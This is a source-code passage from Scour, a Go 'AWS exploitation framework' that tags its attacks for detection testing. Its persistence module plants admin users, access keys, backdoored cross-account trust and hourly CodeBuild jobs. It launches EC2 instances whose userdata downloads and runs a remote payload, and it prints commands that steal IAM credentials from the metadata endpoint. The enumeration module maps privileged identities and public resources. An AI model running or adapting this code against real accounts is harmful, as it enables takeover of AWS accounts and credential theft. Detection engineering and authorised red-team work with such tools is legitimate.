222 | return result 223 | } 224 | 225 | func DescribeVpcPeeringConnections(sess *session.Session) *ec2.DescribeVpcPeeringConnectionsOutput { 226 | svc := ec2.New(sess) 227 | input := &ec2.DescribeVpcPeeringConnectionsInput{} 228 | 229 | result, err := svc.DescribeVpcPeeringConnections(input) 230 | if err != nil { 231 | if aerr, ok := err.(awserr.Error); ok { 232 | switch aerr.Code() { 233 | default: 234 | fmt.Println(aerr.Error()) 235 | } 236 | } else { 237 | // Print the error, cast err to awserr.Error to get the Code and 238 | // Message from an error. 239 | fmt.Println(err.Error()) 240 | } 241 | return nil 242 | } 243 | return result 244 | } 245 | 246 | func CreateSnapshot(sess *session.Session, volumeid string) *ec2.Snapshot { 247 | svc := ec2.New(sess) 248 | input := &ec2.CreateSnapshotInput{ 249 | Description: aws.String("This is my root volume snapshot."), 250 | VolumeId: aws.String(volumeid), 251 | } 252 | 253 | result, err := svc.CreateSnapshot(input) 254 | if err != nil { 255 | if aerr, ok := err.(awserr.Error); ok { 256 | switch aerr.Code() { 257 | default: 258 | fmt.Println(aerr.Error()) 259 | } 260 | } else { 261 | // Print the error, cast err to awserr.Error to get the Code and 262 | // Message from an error. 263 | fmt.Println(err.Error()) 264 | } 265 | return nil 266 | } 267 | 268 | return result 269 | } 270 | 271 | func DescribeVolumes(sess *session.Session, instanceid string) *ec2.DescribeVolumesOutput { 272 | svc := ec2.New(sess) 273 | input := &ec2.DescribeVolumesInput{ 274 | Filters: []*ec2.Filter{ 275 | { 276 | Name: aws.String("attachment.instance-id"), 277 | Values: []*string{ 278 | aws.String(instanceid), 279 | }, 280 | }, 281 | { 282 | Name: aws.String("attachment.delete-on-termination"), 283 | Values: []*string{ 284 | aws.String("true"), 285 | }, 286 | }, 287 | }, 288 | } 289 | 290 | result, err := svc.DescribeVolumes(input) 291 | if err != nil { 292 | if aerr, ok := err.(awserr.Error); ok { 293 | switch aerr.Code() { 294 | default: 295 | fmt.Println(aerr.Error()) 296 | } 297 | } else { 298 | // Print the error, cast err to awserr.Error to get the Code and 299 | // Message from an error. 300 | fmt.Println(err.Error()) 301 | } 302 | return nil 303 | } 304 | 305 | return result 306 | } 307 | 308 | func ModifySnapshotAttribute(sess *session.Session, snapshotid string, accountid string) *ec2.ModifySnapshotAttributeOutput { 309 | svc := ec2.New(sess) 310 | input := &ec2.ModifySnapshotAttributeInput{ 311 | SnapshotId: aws.String(snapshotid), 312 | Attribute: aws.String("createVolumePermission"), 313 | OperationType: aws.String("add"), 314 | UserIds: []*string{ 315 | aws.String(accountid), 316 | }, 317 | } 318 | 319 | result, err := svc.ModifySnapshotAttribute(input) 320 | if err != nil { 321 | if aerr, ok := err.(awserr.Error); ok { 322 | switch aerr.Code() { 323 | default: 324 | fmt.Println(aerr.Error()) 325 | } 326 | } else { 327 | // Print the error, cast err to awserr.Error to get the Code and 328 | // Message from an error. 329 | fmt.Println(err.Error()) 330 | } 331 | return nil 332 | } 333 | 334 | return result 335 | } 336 | -------------------------------------------------------------------------------- /pkg/awsdata/persist.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "encoding/base64" 5 | "encoding/json" 6 | "fmt" 7 | "net/url" 8 | "time" 9 | 10 | "github.com/aws/aws-sdk-go/aws" 11 | "github.com/aws/aws-sdk-go/aws/session" 12 | "github.com/aws/aws-sdk-go/service/ec2" 13 | "github.com/drk1wi/Modlishka/log" 14 | ) 15 | 16 | type Policy struct { 17 | Version string 18 | Statement []StatementEntr 19 | } 20 | 21 | type StatementEntr struct { 22 | Effect string 23 | Action string 24 | Principal PrincipalEntry 25 | } 26 | 27 | type PrincipalEntry struct { 28 | AWS []string 29 | Service []string 30 | } 31 | 32 | //Persist Existing Instance SSM. WIP 33 | func PersistSSMExisting(sess *session.Session) { 34 | instances := DescribeInstances(sess) 35 | for _, i := range instances { 36 | fmt.Println(i.Instances) 37 | for _, in := range i.Instances { 38 | fmt.Println(in.InstanceId) 39 | } 40 | } 41 | ListInstanceProfiles(sess) 42 | time.Sleep(5 * time.Second) 43 | AssociateIamInstanceProfile(sess, "Org-Admin", "i-0") 44 | time.Sleep(5 * time.Second) 45 | SendCommand(sess, "i-0", "whoami") 46 | } 47 | 48 | //PersistAccessKey creates a new access key on user 49 | func PersistAccessKey(sess *session.Session, username string) { 50 | 51 | //Create new access key on another user 52 | key := CreateAccessKey(sess, username) 53 | if key != nil { 54 | log.Infof("%v", key) 55 | } 56 | } 57 | 58 | //PersistEC2 creates IAM InstanceProfile / Role w/ admin policy and launches the instance with a payload inside of userdata. 59 | func PersistEC2(sess *session.Session, ami string, payload string) { 60 | if len(ami) > 0 { 61 | ami = "ami-013f17f36f8b1fefb" 62 | } 63 | 64 | profile := &ec2.IamInstanceProfileSpecification{ 65 | Name: aws.String("OrgAdmin"), 66 | } 67 | 68 | userData := fmt.Sprintf(`#!/bin/bash 69 | curl %s -o /tmp/run 70 | cd /tmp 71 | sudo su ubuntu 72 | sudo chmod +x run 73 | sudo ./run &`, payload) 74 | 75 | dataEnc := base64.StdEncoding.EncodeToString([]byte(userData)) 76 | 77 | ec2data := &ec2.RunInstancesInput{ 78 | // An Amazon Linux AMI ID for t2.micro instances in the us-west-2 region 79 | ImageId: aws.String(ami), 80 | InstanceType: aws.String("t2.micro"), 81 | MinCount: aws.Int64(1), 82 | MaxCount: aws.Int64(1), 83 | UserData: aws.String(dataEnc), 84 | IamInstanceProfile: profile, 85 | } 86 | // Create instance profile 87 | log.Infof("CreateInstanceProfile OrgAdmin") 88 | CreateInstanceProfile(sess, "OrgAdmin") 89 | time.Sleep(2 * time.Second) 90 | 91 | //Create role 92 | log.Infof("CreateRole OrgAdmin with ec2 trust relationship") 93 | CreateRole(sess, "OrgAdmin", TrustPolicyService("ec2.amazonaws.com")) 94 | time.Sleep(2 * time.Second) 95 | 96 | //Attach admin policy to newly created role 97 | log.Infof("AttachRolePolicy OrgAdmin") 98 | AttachRolePolicy(sess, "OrgAdmin", "arn:aws:iam::aws:policy/AdministratorAccess") 99 | time.Sleep(2 * time.Second) 100 | 101 | //Add role to the instance profile 102 | log.Infof("AddRoleToInstanceProfile OrgAdmin") 103 | AddRoleToInstanceProfile(sess, "OrgAdmin") 104 | time.Sleep(5 * time.Second) 105 | 106 | //Create instance with userdata payload 107 | log.Infof("RunInstance") 108 | RunInstance(sess, ec2data) 109 | } 110 | 111 | //PersistSSM creates IAM InstanceProfile / Role w/ admin policy and launches the instance with a payload inside of userdata. 112 | func PersistSSM(sess *session.Session, ami string) { 113 | 114 | if len(ami) > 0 { 115 | ami = "ami-013f17f36f8b1fefb" 116 | } 117 | 118 | profile := &ec2.IamInstanceProfileSpecification{ 119 | Name: aws.String("OrgAdmin"), 120 | } 121 | 122 | ec2data := &ec2.RunInstancesInput{ 123 | // An Amazon Linux AMI ID for t2.micro instances in the us-west-2 region 124 | ImageId: aws.String(ami), 125 | InstanceType: aws.String("t2.micro"), 126 | MinCount: aws.Int64(1), 127 | MaxCount: aws.Int64(1), 128 | IamInstanceProfile: profile, 129 | } 130 | 131 | // Create instance profile 132 | CreateInstanceProfile(sess, "OrgAdmin") 133 | time.Sleep(2 * time.Second) 134 | 135 | //Create Role 136 | CreateRole(sess, "OrgAdmin", TrustPolicyService("ec2.amazonaws.com")) 137 | time.Sleep(2 * time.Second) 138 | 139 | //Attach admin policy to newly created role 140 | AttachRolePolicy(sess, "OrgAdmin", "arn:aws:iam::aws:policy/AdministratorAccess") 141 | time.Sleep(2 * time.Second) 142 | 143 | //Add role to the instance profile 144 | AddRoleToInstanceProfile(sess, "OrgAdmin") 145 | time.Sleep(5 * time.Second) 146 | 147 | //Create new instance and check when status changed to running 148 | instance := RunInstance(sess, ec2data) 149 | for { 150 | status := ec2Status(sess, instance) 151 | time.Sleep(1 * time.Second) 152 | if len(status) == 1 { 153 | break 154 | } 155 | } 156 | time.Sleep(20 * time.Second) 157 | 158 | //Example send-commands 159 | fmt.Println("Try it: send-command " + instance + " \"cat /etc/passwd\"") 160 | fmt.Println("Grab Token: send-command " + instance + " \"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/OrgAdmin\"") 161 | } 162 | 163 | func PersistCrossAccountRole(sess *session.Session, account string) { 164 | policy := TrustPolicyAWS(account) 165 | roleCreate := CreateRole(sess, "OrganizationalTesting", policy) 166 | if roleCreate != "" { 167 | log.Infof("* Creating role: OrganizationalTesting") 168 | log.Infof("* Adding sts:AssumeRole trust policy for account: %v", account) 169 | } 170 | log.Infof("* Attaching Administrator policy to role: OrganizationalTesting") 171 | time.Sleep(time.Second * 20) 172 | AttachRolePolicy(sess, "OrganizationalTesting", "arn:aws:iam::aws:policy/AdministratorAccess") 173 | } 174 | 175 | func PersistUpdateAssumeRole(sess *session.Session, role string, crossArn string, t string) { 176 | rando := SetTrackingAction(t, "role-persist") 177 | 178 | //Create Empty Policy 179 | pol := Policy{ 180 | Version: "2008-10-17", 181 | Statement: []StatementEntr{ 182 | { 183 | Effect: "Allow", 184 | Action: "sts:AssumeRole", 185 | Principal: PrincipalEntry{}, 186 | }, 187 | }, 188 | } 189 | 190 | r := GetRole(sess, role) 191 | decodedValue, err := url.QueryUnescape(aws.StringValue(r.Role.AssumeRolePolicyDocument)) 192 | if err != nil { 193 | log.Fatal(err) 194 | } 195 | 196 | _, _, principal := GetTrustPolicy(decodedValue) 197 | 198 | for k, v := range principal { 199 | prince := fmt.Sprintf("%s", v) 200 | if k == "AWS" { 201 | addAWS := PrincipalEntry{ 202 | AWS: []string{ 203 | prince, 204 | }, 205 | } 206 | pol.Statement[0].Principal.AWS = append(pol.Statement[0].Principal.AWS, addAWS.AWS...) 207 | } 208 | if k == "Service" { 209 | addService := PrincipalEntry{ 210 | Service: []string{ 211 | prince, 212 | }, 213 | } 214 | pol.Statement[0].Principal.Service = append(pol.Statement[0].Principal.Service, addService.Service...) 215 | } 216 | 217 | } 218 | 219 | //Add cross account arn 220 | addAWS := PrincipalEntry{ 221 | AWS: []string{ 222 | crossArn, 223 | }, 224 | } 225 | pol.Statement[0].Principal.AWS = append(pol.Statement[0].Principal.AWS, addAWS.AWS...) 226 | 227 | b, err := json.Marshal(pol) 228 | if err != nil { 229 | fmt.Println(err) 230 | return 231 | } 232 | fmt.Println("UA Tracking: exec-env/" + rando) 233 | 234 | fmt.Println(string(b)) 235 | 236 | UpdateAssumeRolePolicy(sess, role, string(b)) 237 | 238 | } 239 | 240 | func PersistAddUserToGroup(sess *session.Session, group string, user string) { 241 | //look for privileged groups if found add user 242 | status := AddUserToGroup(sess, group, user) 243 | if status { 244 | log.Infof("%v Added tp %v.", user, group) 245 | } 246 | } 247 | 248 | func PersistCreateUser(sess *session.Session, user string) { 249 | //create user and add access key || add login profile 250 | status := CreateUser(sess, user) 251 | if status { 252 | log.Infof("%v Created.", user) 253 | policy := AttachUserPolicy(sess, user, "arn:aws:iam::aws:policy/AdministratorAccess") 254 | if policy { 255 | log.Infof("Attached AdministratorAccess Policy") 256 | key := CreateAccessKey(sess, user) 257 | if key != nil { 258 | log.Infof("%v", key) 259 | } 260 | } 261 | } 262 | 263 | } 264 | 265 | func PersistLambda() { 266 | //Add lambda with reverse shell fire with event bridge 267 | //https://docs.aws.amazon.com/eventbridge/latest/userguide/run-lambda-schedule.html 268 | } 269 | 270 | func PersistECS() { 271 | 272 | } 273 | 274 | func PersistCognito() { 275 | 276 | } 277 | 278 | func PersistCodeBuild(sess *session.Session, url string) { 279 | policyId := String(10) 280 | policyName := "Amazon_CodeBuild_" + policyId 281 | 282 | policy := TrustPolicyService("codebuild.amazonaws.com") 283 | roleArn := CreateRole(sess, policyName, policy) 284 | if roleArn != "" { 285 | log.Infof("* Creating role: %s", policyName) 286 | log.Infof("* Adding sts:AssumeRole trust policy for service: codebuild.amazonaws.com") 287 | } 288 | log.Infof("* Attaching Administrator policy to role: %s", policyName) 289 | time.Sleep(time.Second * 20) 290 | AttachRolePolicy(sess, policyName, "arn:aws:iam::aws:policy/AdministratorAccess") 291 | projArn, projName := CreateProject(sess, url, roleArn) 292 | time.Sleep(time.Second * 5) 293 | 294 | //Create Cron job to run build every hour from eventbridge 295 | eventRoleName := "EventBridge-Amazon_CodeBuild_" + policyId 296 | eventPolicy := TrustPolicyService("events.amazonaws.com") 297 | eventRoleArn := CreateRole(sess, eventRoleName, eventPolicy) 298 | if eventRoleArn != "" { 299 | log.Infof("* Creating role: %s", eventRoleName) 300 | log.Infof("* Adding sts:AssumeRole trust policy for service: events.amazonaws.com") 301 | } 302 | log.Infof("* Attaching policy to role: %s", eventRoleName) 303 | time.Sleep(time.Second * 20) 304 | 305 | jsonPolicy := `{ 306 | "Version": "2012-10-17", 307 | "Statement": [ 308 | { 309 | "Effect": "Allow", 310 | "Action": [ 311 | "codebuild:StartBuild" 312 | ], 313 | "Resource": [ 314 | "*" 315 | ] 316 | } 317 | ] 318 | }` 319 | eventPolicyId := String(10) 320 | eventPolicyName := "Amazon_CodeBuild_Policy_" + eventPolicyId 321 | policyArn := CreatePolicy(sess, eventPolicyName, jsonPolicy) 322 | 323 | AttachRolePolicy(sess, eventRoleName, policyArn) 324 | 325 | ruleName := PutRule(sess, "AutomationDev-") 326 | PutTarget(sess, projArn, eventRoleArn, ruleName) 327 | 328 | //Kick off initial build 329 | StartBuild(sess, projName) 330 | 331 | } 332 | 333 | func PersistCodeCommit() { 334 | //backdoor Code Commit Credentials iam:createservicespecificcredential 335 | 336 | } 337 | -------------------------------------------------------------------------------- /pkg/awsdata/enum.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net/url" 7 | "regexp" 8 | "strconv" 9 | "strings" 10 | 11 | "github.com/aws/aws-sdk-go/aws" 12 | "github.com/aws/aws-sdk-go/aws/session" 13 | "github.com/aws/aws-sdk-go/service/ec2" 14 | ) 15 | 16 | func RoleEnumerate(sess *session.Session, t string) { 17 | rando := SetTrackingAction(t, "role-enum") 18 | data := [][]string{} 19 | var ident string 20 | var isPrivileged bool 21 | 22 | roles := ListRoles(sess, true) 23 | fmt.Println("Building Table...\n") 24 | for _, r := range roles.Roles { 25 | decodedValue, err := url.QueryUnescape(aws.StringValue(r.AssumeRolePolicyDocument)) 26 | if err != nil { 27 | log.Fatal(err) 28 | } 29 | 30 | principalType, identity, _ := GetTrustPolicy(decodedValue) 31 | ident = fmt.Sprintf("%v", identity) 32 | policies := ListAttachedRolePolicies(sess, *r.RoleName) 33 | for _, p := range policies { 34 | json := GetPolicyVersion(sess, *p.PolicyArn) 35 | status := AnalyzePolicy(json) 36 | if status == true { 37 | isPrivileged = true 38 | } else { 39 | isPrivileged = false 40 | } 41 | } 42 | row := []string{*r.RoleName, principalType[0], ident, strconv.FormatBool(isPrivileged)} 43 | data = append(data, row) 44 | } 45 | 46 | fmt.Println("UA Tracking: exec-env/" + rando) 47 | header := []string{"Role", "Principal Type", "Identity/Service", "isPrivileged"} 48 | tableData(data, header) 49 | } 50 | 51 | func IamEnumerate(sess *session.Session, t string) { 52 | rando := SetTrackingAction(t, "iam-enum") 53 | data := [][]string{} 54 | 55 | users := GetAccountAuthorizationDetails(sess) 56 | for _, user := range users { 57 | groupSlice := []string{} 58 | managedSlice := []string{} 59 | inlineSlice := []string{} 60 | privSlice := []string{} 61 | var isPrivileged bool 62 | for _, v := range user.AttachedManagedPolicies { 63 | managedSlice = append(managedSlice, *v.PolicyName) 64 | json := GetPolicyVersion(sess, *v.PolicyArn) 65 | isPrivileged = AnalyzePolicy(json) 66 | privSlice = append(privSlice, strconv.FormatBool(isPrivileged)) 67 | } 68 | for _, v := range user.GroupList { 69 | attached := ListAttachedGroupPolicies(sess, *v) 70 | for _, policy := range attached { 71 | if policy == nil { 72 | continue 73 | } 74 | groupSlice = append(groupSlice, *policy.PolicyName) 75 | json := GetPolicyVersion(sess, *policy.PolicyArn) 76 | isPrivileged = AnalyzePolicy(json) 77 | privSlice = append(privSlice, strconv.FormatBool(isPrivileged)) 78 | } 79 | } 80 | for _, v := range user.UserPolicyList { 81 | inlineSlice = append(inlineSlice, *v.PolicyName) 82 | decodedValue, err := url.QueryUnescape(*v.PolicyDocument) 83 | if err != nil { 84 | log.Fatal(err) 85 | return 86 | } 87 | isPrivileged = AnalyzePolicy(decodedValue) 88 | privSlice = append(privSlice, strconv.FormatBool(isPrivileged)) 89 | } 90 | row := []string{*user.UserName, strings.Join(managedSlice, "\n"), strings.Join(inlineSlice, "\n"), strings.Join(groupSlice, "\n"), strconv.FormatBool(contains1(privSlice, "true"))} 91 | data = append(data, row) 92 | } 93 | 94 | //data = append(data, row) 95 | fmt.Println("UA Tracking: exec-env/" + rando) 96 | header := []string{"User", "Managed Policies", "Inline Policies", "Groups", "isPrivileged"} 97 | tableData(data, header) 98 | } 99 | 100 | func UserGroupEnumerate(sess *session.Session, t string) { 101 | rando := SetTrackingAction(t, "usergroup-enum") 102 | data := [][]string{} 103 | 104 | GetCallerIdentity(sess) 105 | users := ListUsers(sess, true) 106 | for _, u := range users { 107 | managedSlice := []string{} 108 | privSlice := []string{} 109 | var isPrivileged bool 110 | 111 | inlineSlice := []string{} 112 | privINSlice := []string{} 113 | var isINPrivileged bool 114 | Groups := ListGroupsForUser(sess, u) 115 | for _, g := range Groups { 116 | for _, v := range ListAttachedGroupPolicies(sess, *g.GroupName) { 117 | managedSlice = append(managedSlice, *v.PolicyName) 118 | json := GetPolicyVersion(sess, *v.PolicyArn) 119 | isPrivileged = AnalyzePolicy(json) 120 | privSlice = append(privSlice, strconv.FormatBool(isPrivileged)) 121 | } 122 | gpol := ListGroupPolicies(sess, *g.GroupName) 123 | for _, v := range gpol.PolicyNames { 124 | inlineSlice = append(inlineSlice, *v) 125 | json := GetGroupPolicy(sess, *g.GroupName, *v) 126 | isINPrivileged = AnalyzePolicy(json) 127 | privINSlice = append(privINSlice, strconv.FormatBool(isINPrivileged)) 128 | } 129 | 130 | } 131 | row := []string{u, strings.Join(managedSlice, "\n"), strconv.FormatBool(contains1(privSlice, "true")), strings.Join(inlineSlice, "\n"), strconv.FormatBool(contains1(privINSlice, "true"))} 132 | data = append(data, row) 133 | } 134 | fmt.Println("UA Tracking: exec-env/" + rando) 135 | header := []string{"User", "Policies", "isPrivileged", "Inline Policies", "isPrivileged"} 136 | tableData(data, header) 137 | } 138 | 139 | func EnumEC2(sess *session.Session, t string) { 140 | rando := SetTrackingAction(t, "ec2-enum") 141 | data := [][]string{} 142 | 143 | ec2s := DescribeInstances(sess) 144 | for _, e := range ec2s { 145 | for _, i := range e.Instances { 146 | var isPub bool 147 | var isPrivileged bool 148 | var profileName string 149 | 150 | roleARN := "" 151 | var sgroups []string 152 | var ports []string 153 | 154 | if i.IamInstanceProfile != nil { 155 | roleARN = *i.IamInstanceProfile.Arn 156 | s := roleARN 157 | r := regexp.MustCompile(`instance-profile\/(.*)`) 158 | parts := r.FindAllStringSubmatch(s, -1) 159 | for _, v := range parts { 160 | profileName = v[1] 161 | } 162 | isPrivileged = AnalyzeInstanceProfile(sess, profileName) 163 | } else { 164 | roleARN = "None" 165 | } 166 | for _, v := range i.SecurityGroups { 167 | sgroups = append(sgroups, *v.GroupId) 168 | data := DescribeSecurityGroup(sess, *v.GroupId) 169 | for _, sg := range data.SecurityGroups { 170 | for _, perms := range sg.IpPermissions { 171 | 172 | portInt := checkPointerInt(perms.FromPort) 173 | port := strconv.Itoa(int(portInt)) 174 | if port == "0" { 175 | port = "All" 176 | } 177 | for _, i := range perms.IpRanges { 178 | var pubIP *ec2.IpRange 179 | pubIP = &ec2.IpRange{ 180 | CidrIp: aws.String("0.0.0.0/0"), 181 | } 182 | if *i.CidrIp == *pubIP.CidrIp { 183 | isPub = true 184 | ports = append(ports, port+"*") 185 | } else { 186 | ports = append(ports, port+"-") 187 | } 188 | } 189 | } 190 | } 191 | } 192 | row := []string{checkPointer(i.InstanceId), roleARN, checkPointer(i.VpcId), checkPointer(i.PublicIpAddress), checkPointer(i.PrivateIpAddress), strings.Join(sgroups, "\n"), strings.Join(ports, "\n"), checkPointer(i.State.Name), strconv.FormatBool(isPrivileged), strconv.FormatBool(isPub)} 193 | data = append(data, row) 194 | } 195 | } 196 | fmt.Println("UA Tracking: exec-env/" + rando) 197 | header := []string{"InstanceID", "Instance Profile", "VPC", "PublicIP", "PrivateIP", "Security Groups", "Ports", "State", "isPrivileged", "isPublic"} 198 | tableData(data, header) 199 | } 200 | 201 | func checkPointer(pointer *string) string { 202 | if pointer != nil { 203 | return *pointer 204 | } 205 | return "None" 206 | 207 | } 208 | 209 | func checkPointerInt(pointer *int64) int64 { 210 | if pointer != nil { 211 | return *pointer 212 | } 213 | return 0 214 | 215 | } 216 | 217 | func EnumS3(sess *session.Session, t string) { 218 | rando := SetTrackingAction(t, "s3-enum") 219 | data := [][]string{} 220 | 221 | buckets := ListBuckets(sess, true) 222 | 223 | for _, v := range buckets { 224 | var isWebsite bool 225 | var allowPublic bool 226 | var repStatus bool 227 | var allowAuthenticated bool 228 | var hasPolicy bool 229 | var permsPub []string 230 | var permsAuth []string 231 | 232 | policy := GetBucketPolicy(sess, v) 233 | if policy != nil { 234 | hasPolicy = true 235 | } 236 | region := GetBucketLocation(sess, v) 237 | reps := GetBucketReplication(sess, v) 238 | if reps == "exists" || reps == "AccessDenied" { 239 | repStatus = true 240 | } 241 | if reps == "ReplicationConfigurationNotFoundError" { 242 | repStatus = false 243 | } 244 | acl := GetBucketACL(sess, v) 245 | if acl != nil { 246 | for _, g := range acl.Grants { 247 | if g.Grantee.URI != nil { 248 | if *g.Grantee.URI == "http://acs.amazonaws.com/groups/global/AllUsers" { 249 | allowPublic = true 250 | permsPub = append(permsPub, *g.Permission) 251 | 252 | } 253 | if *g.Grantee.URI == "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" { 254 | allowAuthenticated = true 255 | permsAuth = append(permsAuth, *g.Permission) 256 | 257 | } 258 | } 259 | } 260 | } 261 | website := GetBucketWebsite(sess, v) 262 | if website != nil { 263 | isWebsite = true 264 | } 265 | row := []string{v, strconv.FormatBool(hasPolicy), strconv.FormatBool(isWebsite), strconv.FormatBool(allowPublic), strings.Join(permsPub, ","), strconv.FormatBool(allowAuthenticated), strings.Join(permsAuth, ","), strconv.FormatBool(repStatus), region} 266 | data = append(data, row) 267 | } 268 | fmt.Println("UA Tracking: exec-env/" + rando) 269 | header := []string{"Bucket", "hasPolicy", "isWebsite", "Allow Public", "Permissions", "Allow Authenticated", "Permissions", "Replication", "Region"} 270 | tableData(data, header) 271 | } 272 | 273 | func GroupsEnumerate(sess *session.Session, t string) { 274 | rando := SetTrackingAction(t, "groups-enum") 275 | data := [][]string{} 276 | 277 | groups := ListGroups(sess, true) 278 | for _, group := range groups.Groups { 279 | managedSlice := []string{} 280 | privSlice := []string{} 281 | var isPrivileged bool 282 | 283 | inlineSlice := []string{} 284 | privINSlice := []string{} 285 | var isINPrivileged bool 286 | 287 | for _, v := range ListAttachedGroupPolicies(sess, *group.GroupName) { 288 | managedSlice = append(managedSlice, *v.PolicyName) 289 | json := GetPolicyVersion(sess, *v.PolicyArn) 290 | isPrivileged = AnalyzePolicy(json) 291 | privSlice = append(privSlice, strconv.FormatBool(isPrivileged)) 292 | } 293 | gpol := ListGroupPolicies(sess, *group.GroupName) 294 | for _, v := range gpol.PolicyNames { 295 | inlineSlice = append(inlineSlice, *v) 296 | json := GetGroupPolicy(sess, *group.GroupName, *v) 297 | isINPrivileged = AnalyzePolicy(json) 298 | privINSlice = append(privINSlice, strconv.FormatBool(isINPrivileged)) 299 | } 300 | row := []string{*group.GroupName, strings.Join(managedSlice, "\n"), strconv.FormatBool(contains1(privSlice, "true")), strings.Join(inlineSlice, "\n"), strconv.FormatBool(contains1(privINSlice, "true"))} 301 | data = append(data, row) 302 | } 303 | 304 | //data = append(data, row) 305 | fmt.Println("UA Tracking: exec-env/" + rando) 306 | header := []string{"Group", "Policies", "isPrivileged", "Inline Policies", "isPrivileged"} 307 | tableData(data, header) 308 | } 309 | 310 | func EnumCrossAccount(sess *session.Session, t string) { 311 | rando := SetTrackingAction(t, "crossaccount-lateral") 312 | data := [][]string{} 313 | 314 | events := LookupEvents(sess, "AssumeRole") 315 | fmt.Println(len(events)) 316 | var RoleAccountID string 317 | for _, event := range events { 318 | roleArn := event.RequestParameters.RoleArn 319 | r := regexp.MustCompile(`::(.*):`) 320 | parts := r.FindAllStringSubmatch(roleArn, -1) 321 | for _, v := range parts { 322 | RoleAccountID = v[1] 323 | } 324 | if event.RecipientAccountID != RoleAccountID { 325 | if event.RequestParameters.RoleArn != "" { 326 | row := []string{event.UserIdentity.Type, event.RequestParameters.RoleArn, event.UserIdentity.Arn, event.EventTime} 327 | data = append(data, row) 328 | } 329 | } 330 | } 331 | fmt.Println("UA Tracking: exec-env/" + rando) 332 | header := []string{"Identity Type", "Lateral ARN", "Identity ARN", "Date"} 333 | tableData(data, header) 334 | } 335 | 336 | func EnumLateralNetwork(sess *session.Session, t string) { 337 | rando := SetTrackingAction(t, "lateral-network-enum") 338 | //data := [][]string{} 339 | 340 | gateways := DescribeDirectConnectGateways(sess) 341 | for _, g := range gateways.DirectConnectGateways { 342 | fmt.Println(g.DirectConnectGatewayId) 343 | DescribeDirectConnectGatewayAssociations(sess, *g.DirectConnectGatewayId) 344 | } 345 | vpns := DescribeVpnConnections(sess) 346 | fmt.Println(vpns.VpnConnections) 347 | peers := DescribeVpcPeeringConnections(sess) 348 | fmt.Println(peers.VpcPeeringConnections) 349 | fmt.Println("UA Tracking: exec-env/" + rando) 350 | } 351 | 352 | func EnumOrg(sess *session.Session, t string) { 353 | rando := SetTrackingAction(t, "account-enum") 354 | ListAccountAliases(sess) 355 | DescribeOrganization(sess) 356 | fmt.Println("UA Tracking: exec-env/" + rando) 357 | } 358 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Scour - AWS Detection Framework 2 | 3 | This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. 4 | 5 | ## Status 6 | - This is still an active work in progress. **Lots of Bugs 7 | - Not ready for production 8 | 9 | - **Where to file issues**: 10 | [https://github.com/grines/scour/issues](https://github.com/grines/scour/issues) 11 | 12 | - **Maintained by**: 13 | [grines](https://github.com/) 14 | 15 | # What is Scour? 16 | 17 | Scour is a modern module based AWS exploitation framework written in golang, designed for red team testing and blue team analysis. Scour contains modern techniques that can be used to attack environments or build detections for defense. 18 | 19 | # Features 20 | - [X] Command Completion 21 | - [X] Dynamic resource listing 22 | - [X] Command history 23 | - [X] Blue team mode (tags attacks with unique User Agent) 24 | 25 | ## Installation 26 | 27 | Scour is written in golang so its easy to ship around as a binary. 28 | 29 | ##Gettable 30 | 31 | go get github.com/grines/scour 32 | 33 | ##Build 34 | 35 | go build main.go 36 | 37 | 38 | For a more detailed and user-friendly set of user instructions, please check out the Wiki's [installation guide](https://github.com/grines/scour/wiki/Installation). **coming soon 39 | 40 | ## Scour's Modules 41 | 42 | Scour uses a range modules: 43 | - [X] [Operations](#Operations) (2) 44 | - [X] [Enumeration](#Enumeration) (7) 45 | - [X] [Privilege Escalation](#PrivilegeEscalation) (3) 46 | - [X] [Lateral Movement](#LateralMovement) (2) 47 | - [X] [Evasion](#Evasion) (5) 48 | - [X] [Credential Discovery](#CredentialDiscovery) (4) 49 | - [X] [Execution](#Execution) (2) 50 | - [X] [Persistance](#Persistance) (7) 51 | - [X] [Exfiltration](#Exfiltration) (1) 52 | 53 | ## Notes 54 | 55 | * Scour is supported on all Linux/OSX. 56 | * Scour is Open-Source Software and is distributed with a BSD-3-Clause License. 57 | 58 | ## Getting Started 59 | 60 | The first time Scour is launched, 61 | 62 | ## Basic Commands in Scour 63 | 64 | * `token profile ` will list the available aws profiels stored in ~/aws/credentials. 65 | * `token AssumeRole ` will assume role from same or cross account. ** requires active session 66 | * `help module` will return the applicable help information for the specified module. **help TBD 67 | * `attack evasion ` will run the specified module with its default parameters. 68 | 69 | ## Running Scour From the command line 70 | 71 | * `scour` will enter cli mode 72 | * `Not Connected <> token profile apiuser us-east-1` sets the session to use for commands that require one 73 | * `Connected ` actively connected to an aws profile from (~,/aws/credentials) in (region) 74 | * `Connected attack enum ` tab completion with list available enumeration tactics 75 | * `Connected attack privesc ` tab completion with list available privilege escalation tactics 76 | * `Connected attack lateral ` tab completion with list available lateral tactics 77 | * `Connected attack evasion ` tab completion with list available evasion tactics 78 | * `Connected attack creds ` tab completion with list available credential discovery tactics 79 | * `Connected attack execute ` tab completion with list available execution tactics 80 | * `Connected attack persist ` tab completion with list available persistance tactics 81 | * `Connected attack exfil ` tab completion with list available exfiltration tactics 82 | 83 | ## Enumeration 84 | ![](https://github.com/grines/scour/blob/main/scour-enum.gif) 85 | * `Connected attack enum IAM` IAM discovery 86 | ```UA Tracking: exec-env/FhFIm7mvmp/nnK7NmJXNF/iam-enum 87 | +-------------+---------------------+------------------+---------------+--------------+ 88 | | USER | MANAGED POLICIES | INLINE POLICIES | GROUPS | ISPRIVILEGED | 89 | +-------------+---------------------+------------------+---------------+--------------+ 90 | | admin | AdministratorAccess | AllEKSInlineuser | SecurityAudit | true | 91 | | EC2 | AmazonEC2FullAccess | | | true | 92 | +-------------+---------------------+------------------+---------------+--------------+ 93 | ``` 94 | * `Connected attack enum Roles` Roles discovery 95 | ``` 96 | UA Tracking: exec-env/EVSWAyidC4/o18HtFPe1P/role-enum 97 | +------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+ 98 | | ROLE | PRINCIPAL TYPE | IDENTITY/SERVICE | ISPRIVILEGED | 99 | +------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+ 100 | | 